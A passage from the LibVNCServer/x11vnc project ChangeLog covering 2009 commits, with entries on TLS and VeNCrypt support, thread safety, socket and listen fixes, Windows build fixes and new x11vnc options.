   2658 	ll.patch, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc,
   2659 	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
   2660 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Fix problems in
   2661 	--without-x builds.  Fix crash with -QD query for dbus info.  Adjust
   2662 	window size for small screens in -gui.  Improve F1 help for xdm,
   2663 	etc.  include ssvnc 1.0.25 source.
   2664 
   2665 2009-12-24  runge <runge (a] karlrunge.com>
   2666 
   2667 	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   2668 	x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/ssltools.h,
   2669 	x11vnc/unixpw.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   2670 	x11vnc/x11vnc_defs.c: x11vnc: prepare_x11vnc_dist.sh for 0.9.10.
   2671 	        -xdummy_xvfb, -svc_xdummy_xvfb and -create_x shorthand. lxde
   2672 	        session.  Xdummy improvements and root no longer required.
   2673 
   2674 2009-12-20  Vic Lee <llyzs (a] 163.com>
   2675 
   2676 	* libvncclient/rfbproto.c: Fix version checking (>=3.8) for
   2677 	rfbVncAuthOK confirmation when no password required It seems that vino does not send AuthOK  when there is no password
   2678 	with anonymous TLS, and it seems that vino is the only <3.8 VNC
   2679 	server that handles anonymous TLS at all, so let's not wait for the
   2680 	packet that will never come.  Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes
   2681 	Schindelin <johannes.schindelin (a] gmx.de>
   2682 
   2683 2009-12-21  runge <runge (a] karlrunge.com>
   2684 
   2685 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/sslhelper.c,
   2686 	x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/x11vnc.1,
   2687 	x11vnc/x11vnc_defs.c: x11vnc: -DENC_HAVE_OPENSSL=0 to disable enc.h
   2688 	        but still have ssl. Tweak ps command in find_display. Try to handle         AIX su. Ignore an initial newline at login: for -unixpw.
   2689 
   2690 2009-12-18  runge <runge (a] karlrunge.com>
   2691 
   2692 	* x11vnc/ChangeLog: ChangeLog typo
   2693 
   2694 2009-12-18  runge <runge (a] karlrunge.com>
   2695 
   2696 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   2697 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c,
   2698 	x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   2699 	x11vnc/x11vnc_defs.c: Add tag=... to unixpw opts to set FD_TAG.
   2700 	Prefer Xvfb over Xdummy.  Reduce wait time for https. Add 'Login
   2701 	succeeded' output to unixpw panel.
   2702 
   2703 2009-12-18  runge <runge (a] karlrunge.com>
   2704 
   2705 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   2706 	x11vnc/help.c, x11vnc/remote.c, x11vnc/unixpw.c, x11vnc/x11vnc.1,
   2707 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix keycode and other
   2708 	        remote control actions under DIRECT: with an extra XFlush and other
   2709 	        safety measures.  fflush(stderr) much in su_verify.  Make the
   2710 	        -unixpw env. vars UNIXPW_DISABLE_SSL and UNIXPW_DISABLE_LOCALHOST
   2711 	        work correctly.  Make -loopbg actually imply -bg.
   2712 
   2713 2009-12-15  runge <runge (a] karlrunge.com>
   2714 
   2715 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/inet.c,
   2716 	x11vnc/misc/Makefile.am, x11vnc/misc/connect_switch,
   2717 	x11vnc/misc/ultravnc_repeater.pl, x11vnc/options.c,
   2718 	x11vnc/options.h, x11vnc/pointer.c, x11vnc/remote.c,
   2719 	x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c,
   2720 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   2721 	x11vnc/xdamage.c, x11vnc/xevents.c: X props names via env var.
   2722 	fakebuttonevent action, connect_switch and ultravnc_repeater.pl
   2723 	scripts, find_display try FD_XDM on failure, -quiet and -storepasswd
   2724 	changes, better port 113 testing.
   2725 
   2726 2009-12-07  runge <runge (a] karlrunge.com>
   2727 
   2728 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
   2729 	x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslhelper.c,
   2730 	x11vnc/ssltools.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   2731 	x11vnc/x11vnc_defs.c: X11VNC_EXTRA_HTTPS_PARAMS,
   2732 	X11VNC_HTTP_LISTEN_LOCALHOST, X11VNC_REOPEN_SLEEP_MAX,
   2733 	-findauth/-auth guess FD_XDM=1 for root, work around xhost
   2734 	SI:localuser:root.
   2735 
   2736 2009-12-05  runge <runge (a] karlrunge.com>
   2737 
   2738 	* classes/ssl/ss_vncviewer,
   2739 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   2740 	x11vnc/ChangeLog, x11vnc/README, x11vnc/appshare.c, x11vnc/gui.c,
   2741 	x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Update java
   2742 	and scripts in classes/ssl.  x11vnc: declare crypt() on all
   2743 	platforms.  more wishes.
   2744 
   2745 2009-12-02  runge <runge (a] karlrunge.com>
   2746 
   2747 	* x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
   2748 	x11vnc/appshare.c, x11vnc/connections.c, x11vnc/cursor.c,
   2749 	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c,
   2750 	x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, x11vnc/remote.c,
   2751 	x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc,
   2752 	x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
   2753 	x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h,
   2754 	x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/x11vnc.1,
   2755 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
   2756 	x11vnc/xinerama.c, x11vnc/xrandr.c: x11vnc: -appshare mode for
   2757 	sharing an application windows instead of the entire desktop. map
   2758 	port + 5500 in reverse connect.  Add id_cmd remote control functions
   2759 	for id (and other) windows.  Allow zero port in SSL reverse
   2760 	connections.  Adjust delays between multiple reverse connections;
   2761 	X11VNC_REVERSE_SLEEP_MAX env var.  Add some missing mutex locks; add
   2762 	INPUT_LOCK and threads_drop_input.  More safety in -threads mode for
   2763 	new framebuffer change.  Fix some stderr leaking in -inetd mode.
   2764 
   2765 2009-12-01  runge <runge (a] karlrunge.com>
   2766 
   2767 	* libvncserver/cursor.c, libvncserver/sockets.c,
   2768 	libvncserver/translate.c: Add locks of updateMutex in
   2769 	rfbRedrawAfterHideCursor() and rfbSetClientColourMap().  Up listen
   2770 	limit from 5 to 32.
   2771 
   2772 2009-11-18  runge <runge (a] karlrunge.com>
   2773 
   2774 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   2775 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
   2776 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   2777 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   2778 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   2779 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   2780 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   2781 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   2782 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   2783 	ll.patch: ssvnc/enhanced_tightvnc_viewer update.
   2784 
   2785 2009-11-18  runge <runge (a] karlrunge.com>
   2786 
   2787 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
   2788 	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/cursor.h,
   2789 	x11vnc/enc.h, x11vnc/help.c, x11vnc/remote.c, x11vnc/screen.c,
   2790 	x11vnc/selection.c, x11vnc/solid.c, x11vnc/ssltools.h,
   2791 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
   2792 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   2793 	x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc:
   2794 	-findauth, -auth guess, & etc.
   2795 
   2796 2009-11-11  Christian Beier <dontmind (a] freeshell.org>
   2797 
   2798 	* libvncclient/listen.c, rfb/rfbclient.h: libvncclient: better
   2799 	return value for non-forking listen.  The return value now better reflects what has happened: 1 on success
   2800 	(incoming connection on listen socket, we accepted it successfully),
   2801 	-1 on error, 0 on timeout.  Also change the select calls to not check _all_ possible file
   2802 	descriptors.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2803 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2804 
   2805 2009-11-05  Christian Beier <dontmind (a] freeshell.org>
   2806 
   2807 	* libvncclient/listen.c, libvncclient/rfbproto.c,
   2808 	libvncclient/vncviewer.c, libvncserver/rfbserver.c: Fix checks for
   2809 	socket values, 0 is a legal value.  To make this work, we also have to initialize sockets to a default
   2810 	value of -1.  Also close a client listen socket if it's open.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2811 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2812 
   2813 2009-10-31  Christian Beier <dontmind (a] freeshell.org>
   2814 
   2815 	* libvncclient/vncviewer.c: libvncclient: include winsock2.h in
   2816 	vncviewer.c.  fixes warning about closesocket being implicitly declared.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2817 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2818 
   2819 2009-11-05  Vic Lee <llyzs (a] 163.com>
   2820 
   2821 	* configure.ac: Change GnuTLS minimum requirement to 2.4.0 Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes
   2822 	Schindelin <johannes.schindelin (a] gmx.de>
   2823 
   2824 2009-11-04  Vic Lee <llyzs (a] 163.com>
   2825 
   2826 	* client_examples/ppmtest.c, examples/example.c,
   2827 	libvncclient/sockets.c, libvncclient/zrle.c, libvncserver/cursor.c,
   2828 	libvncserver/tightvnc-filetransfer/rfbtightserver.c,
   2829 	vncterm/VNConsole.c: Fix various compilation warnings Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes
   2830 	Schindelin <johannes.schindelin (a] gmx.de>
   2831 
   2832 2009-10-07  Vic Lee <llyzs (a] 163.com>
   2833 
   2834 	* libvncclient/rfbproto.c, libvncserver/vncauth.c, rfb/rfbclient.h,
   2835 	rfb/rfbproto.h: Add MSLogon security type Signed-off-by: Vic Lee <llyzs (a] 163.com> Signed-off-by: Johannes
   2836 	Schindelin <johannes.schindelin (a] gmx.de>
   2837 
   2838 2009-10-31  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2839 
   2840 	* AUTHORS: Add Alexander to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2841 
   2842 2009-10-31  Christian Beier <dontmind (a] freeshell.org>
   2843 
   2844 	* client_examples/SDLvncviewer.c: SDLvncviewer: don't call clean up
   2845 	the same client twice.  If rfbInitConnection fails, it cleans up the client, so protect
   2846 	against doing it ourselves again.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2847 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2848 
   2849 2009-10-30  Christian Beier <dontmind (a] freeshell.org>
   2850 
   2851 	* client_examples/SDLvncviewer.c: SDLvncviewer: add SIGINT handler
   2852 	to be able to actually stop program.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2853 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2854 
   2855 2009-10-26  Christian Beier <dontmind (a] freeshell.org>
   2856 
   2857 	* client_examples/SDLvncviewer.c: SDLvncviewer: use -listennofork
   2858 	when -listen specified.  As -listen mode isn't really working under UNIX and not at all under
   2859 	windows, use -listennofork and an outer listen loop instead.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2860 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2861 
   2862 2009-10-26  Christian Beier <dontmind (a] freeshell.org>
   2863 
   2864 	* libvncclient/listen.c, libvncclient/vncviewer.c, rfb/rfbclient.h: 
   2865 	libvncclient: add a non-forking listen function.  Forking the whole process from deep within a library call does not
   2866 	really work at all with apps that use multiple threads, i.e. every
   2867 	reasonably modern GUI app. So, provide a non-forking listen function
   2868 	so that the caller can decide if to fork, start a thread, etc.  This implementation adds a timeout parameter to be able to call the
   2869 	listen function multiple times so that it's possible to do sth. else
   2870 	in between, e.g. abort listening.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2871 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2872 
   2873 2009-10-21  Christian Beier <dontmind (a] freeshell.org>
   2874 
   2875 	* client_examples/SDLvncviewer.c: SDLvncviewer: make listen mode
   2876 	work _somewhat_.  set the port to listen on and really ensure that the window of the
   2877 	fork()ed instance is closed.  works somewhat: it's now actually possible to listen for an incoming
   2878 	connection and to close it again, but the second connection attempt
   2879 	fails with 'XIO:  fatal IO error 11 (Resource temporarily
   2880 	unavailable)'. this could relate to the fact that SDL uses threads
   2881 	internally and we're fork()ing here...  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2882 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2883 
   2884 2009-10-30  Christian Beier <dontmind (a] freeshell.org>
   2885 
   2886 	* libvncclient/sockets.c: libvncclient: make listenAtTCPPort() work
   2887 	under windows.  Actually, initSockets() has to be called everywhere we possibly use
   2888 	sockets the first time.  Also fix return value of initSockets().  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2889 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2890 
   2891 2009-10-30  Alexander Dorokhine <arrenlex (a] gmail.com>
   2892 
   2893 	* libvncclient/rfbproto.c, libvncclient/vncviewer.c,
   2894 	rfb/rfbclient.h: libvncclient: Add FinishedFrameBufferUpdate
   2895 	callback When working on a program which searches the display for some image,
   2896 	one does not want to search again without getting an FB update.  Add
   2897 	a callback to make this possible.
   2898 
   2899 2009-10-30  Alexander Dorokhine <arrenlex (a] gmail.com>
   2900 
   2901 	* libvncclient/sockets.c: Fix hostname resolution problems under
   2902 	Windows On Windows, the WSA system needs to be initialized to be able to
   2903 	look up host names.  This patch also changes *addr = 0 to use the constant
   2904 	INADDR_LOOPBACK instead, which seems to be required on Windows.
   2905 
   2906 2009-10-17  runge <runge (a] karlrunge.com>
   2907 
   2908 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
   2909 	x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1,
   2910 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Workaround for inane
   2911 	X_ShmAttach incompatibility in Xorg, -solid support in xfce,
   2912 	showrfbauth option.
   2913 
   2914 2009-10-08  runge <runge (a] karlrunge.com>
   2915 
   2916 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   2917 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   2918 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   2919 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   2920 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
   2921 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   2922 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   2923 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   2924 	ll.patch: Synchronize ssvnc source, etc.   Nearly the 1.0.24
   2925 	release...
   2926 
   2927 2009-10-08  runge <runge (a] karlrunge.com>
   2928 
   2929 	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   2930 	x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   2931 	x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c,
   2932 	x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h,
   2933 	x11vnc/params.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/screen.c,
   2934 	x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c,
   2935 	x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
   2936 	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h,
   2937 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
   2938 	x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h,
   2939 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   2940 	x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c,
   2941 	x11vnc/xevents.h, x11vnc/xwrappers.c: Huge number of changes, see
   2942 	x11vnc/ChangeLog
   2943 
   2944 2009-10-07  runge <runge (a] karlrunge.com>
   2945 
   2946 	* libvncclient/rfbproto.c: Some broken build environments treat
   2947 	fprintf(fh, buf) as a fatal error...
   2948 
   2949 2009-10-07  runge <runge (a] karlrunge.com>
   2950 
   2951 	* libvncserver/main.c: Some broken build environments treat
   2952 	fprintf(fh, buf) as a fatal error...
   2953 
   2954 2009-10-02  Vic Lee <llyzs (a] 163.com>
   2955 
   2956 	* libvncclient/rfbproto.c, libvncclient/tls.c, rfb/rfbclient.h,
   2957 	rfb/rfbproto.h: Add VeNCrypt support in libvncclient Signed-off-by: Vic Lee <llyzs (a] 163.com>
   2958 
   2959 2009-10-02  Christian Beier <dontmind (a] freeshell.org>
   2960 
   2961 	* configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c,
   2962 	rfb/rfb.h, vncterm/Makefile.am: mingw32 crosscompile fixes.  SOCKET is redefined in winsock2.h so #undef it where winsock2.h is
   2963 	included. The changes in rfbproto.c circumvent crosscompiler errors
   2964 	like 'S_IFMT' undeclared ...', the Makefile.am changes avoid
   2965 	building linux specific stuff for a win32 host target.  Also added
   2966 	configure option to specify sdl-config.  Signed-off-by: Christian Beier <dontmind (a] freeshell.org>
   2967 	Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2968 
   2969 2009-10-02  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2970 
   2971 	* configure.ac: Fallback to --without-client-tls if GNUTLS could not
   2972 	be found Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2973 
   2974 2009-10-01  Vic Lee <llyzs (a] 163.com>
   2975 
   2976 	* configure.ac, libvncclient/Makefile.am, libvncclient/rfbproto.c,
   2977 	libvncclient/sockets.c, libvncclient/tls.c, libvncclient/tls.h,
   2978 	libvncclient/vncviewer.c, rfb/rfbclient.h, rfb/rfbproto.h: Add
   2979 	anonymous TLS support in libvncclient Signed-off-by: Vic Lee <llyzs (a] 163.com>
   2980 
   2981 2009-10-02  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2982 
   2983 	* test/encodingstest.c: encodingstest: fix multi-threading issue Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2984 
   2985 2009-10-02  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2986 
   2987 	* test/encodingstest.c: encodingstest: fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2988 
   2989 2009-10-02  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2990 
   2991 	* AUTHORS: Add Christian Beier to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2992 
   2993 2009-10-02  Christian Beier <dontmind (a] freeshell.org>
   2994 
   2995 	* libvncclient/rfbproto.c: Fix IsUnixSocket() This is a pure functionality fix: according to its manpage, stat()
   2996 	returns 0 on success. Checking for a return value of zero fixes
   2997 	incorrect results of IsUnixSocket().  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   2998 
   2999 2009-09-27  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3000 
   3001 	* AUTHORS: Add Vic Lee to the author list Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3002 
   3003 2009-09-14  Vic Lee <llyzs (a] 163.com>
   3004 
   3005 	* libvncclient/rfbproto.c: Fix bug for logging unsupported security
   3006 	types Signed-off-by: Vic Lee <llyzs (a] 163.com>
   3007 
   3008 2009-09-14  Vic Lee <llyzs (a] 163.com>
   3009 
   3010 	* libvncclient/rfbproto.c: Fix bug for VNC Server version 4 Signed-off-by: Vic Lee <llyzs (a] 163.com>
   3011 
   3012 2009-08-10  runge <runge (a] karlrunge.com>
   3013 
   3014 	* x11vnc/README, x11vnc/connections.c, x11vnc/enc.h, x11vnc/help.c,
   3015 	x11vnc/pointer.c, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c,
   3016 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Improvements
   3017 	to -unixpw_cmd and -unixpw_nis.  Experimental X11VNC_WATCH_DX_DY=1
   3018 	for buggy theme menus, see:
   3019 	http://ubuntuforums.org/showthread.php?t=1223490
   3020 
   3021 2009-07-11  runge <runge (a] karlrunge.com>
   3022 
   3023 	* prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/help.c,
   3024 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Setup for x11vnc version
   3025 	0.9.9
   3026 
   3027 2009-06-19  runge <runge (a] karlrunge.com>
   3028 
   3029 	* classes/ssl/README,
   3030 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   3031 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/README: 
   3032 	Add proxyHost and proxyPort java applet params.
   3033 
   3034 2009-06-18  runge <runge (a] karlrunge.com>
   3035 
   3036 	* classes/ssl/ss_vncviewer,
   3037 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   3038 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   3039 	x11vnc/ChangeLog, x11vnc/README,
   3040 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   3041 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
   3042 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   3043 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3044 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3045 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   3046 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   3047 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3048 	ll.patch: classes/ssl: java viewer now handles auth-basic proxy
   3049 	logins.  misc/enhanced_tightvnc_viewer: update ssvnc.
   3050 
   3051 2009-06-16  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3052 
   3053 	* libvncclient/vncviewer.c: Fix two issues in rfbGetClient() There was an unnecessary assignment, and an assignment of a string
   3054 	that was to be free()ed later, so it has to be strdup()ed.  Both issues spotted by Roman Held.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3055 
   3056 2009-06-14  runge <runge (a] karlrunge.com>
   3057 
   3058 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   3059 	x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c,
   3060 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: 
   3061 	X11VNC_REFLECT_PASSWORD env. var., warning about compiz, improve
   3062 	single-port.
   3063 
   3064 2009-05-22  Stefan Becker <stefanb2 (a] users.sourceforge.net>
   3065 
   3066 	* libvncclient/vncviewer.c: Add close() to rfbClientCleanup() Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3067 
   3068 2009-05-21  runge <runge (a] karlrunge.com>
   3069 
   3070 	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
   3071 	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
   3072 	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/misc/turbovnc/convert,
   3073 	x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c,
   3074 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   3075 	x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c,
   3076 	x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1,
   3077 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
   3078 	x11vnc/xrecord.c, x11vnc/xwrappers.c: Thread safety.  Fix -clip -in
   3079 	-rawfb.  Try to avoid Xorg stuck key bug.
   3080 
   3081 2009-05-21  runge <runge (a] karlrunge.com>
   3082 
   3083 	* ChangeLog, configure.ac, libvncserver/main.c,
   3084 	libvncserver/rfbserver.c, libvncserver/tight.c,
   3085 	libvncserver/tightvnc-filetransfer/rfbtightserver.c,
   3086 	libvncserver/zlib.c, libvncserver/zrle.c,
   3087 	libvncserver/zrleencodetemplate.c, rfb/rfb.h: Thread safety for
   3088 	zrle, zlib, tight.  Proposed tight security type fix for debian bug
   3089 	517422.
   3090 
   3091 2009-05-20  llyzs <llyzs (a] 163.com>
   3092 
   3093 	* rfb/rfbclient.h: Export the functions SupportsClient2Server and
   3094 	SupportsServer2Client These are useful functions for VNC clients, so let's export them for
   3095 	everybody to use.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3096 
   3097 2009-05-12  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3098 
   3099 	* AUTHORS: Add Ben to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3100 
   3101 2009-05-12  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3102 
   3103 	* autogen.sh: Make autogen.sh executable Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3104 
   3105 2009-05-12  Ben Klopfenstein <benklop (a] gmail.com>
   3106 
   3107 	* libvncclient/rfbproto.c, libvncclient/sockets.c, rfb/rfbclient.h: 
   3108 	libvncclient: Unix sockets support by Ben Klopfenstein Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3109 
   3110 2009-03-31  runge <runge (a] karlrunge.com>
   3111 
   3112 	* x11vnc/README, x11vnc/connections.c, x11vnc/connections.h,
   3113 	x11vnc/screen.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
   3114 	x11vnc/x11vnc_defs.c: rebuild for x11vnc dev 0.9.8
   3115 
   3116 2009-03-31  runge <runge (a] karlrunge.com>
   3117 
   3118 	* prepare_x11vnc_dist.sh: x11vnc 0.9.8 dev
   3119 
   3120 2009-03-30  Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3121 
   3122 	* success.html: Add LCD4Linux to the success stories Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3123 
   3124 2009-03-16  runge <runge (a] karlrunge.com>
   3125 
   3126 	* x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c,
   3127 	x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3128 	x11vnc/x11vnc_defs.c: Add some -remap tricks.  Limit rfbCFD message
   3129 	count.
   3130 
   3131 2009-03-14  runge <runge (a] karlrunge.com>
   3132 
   3133 	* x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/README,
   3134 	x11vnc/allowed_input_t.h, x11vnc/avahi.c, x11vnc/avahi.h,
   3135 	x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h,
   3136 	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
   3137 	x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c,
   3138 	x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c,
   3139 	x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h,
   3140 	x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c,
   3141 	x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h,
   3142 	x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c,
   3143 	x11vnc/macosxCGS.h, x11vnc/misc/LICENSE,
   3144 	x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README,
   3145 	x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert,
   3146 	x11vnc/misc/turbovnc/convert_rfbserver,
   3147 	x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/options.c,
   3148 	x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h,
   3149 	x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h,
   3150 	x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h,
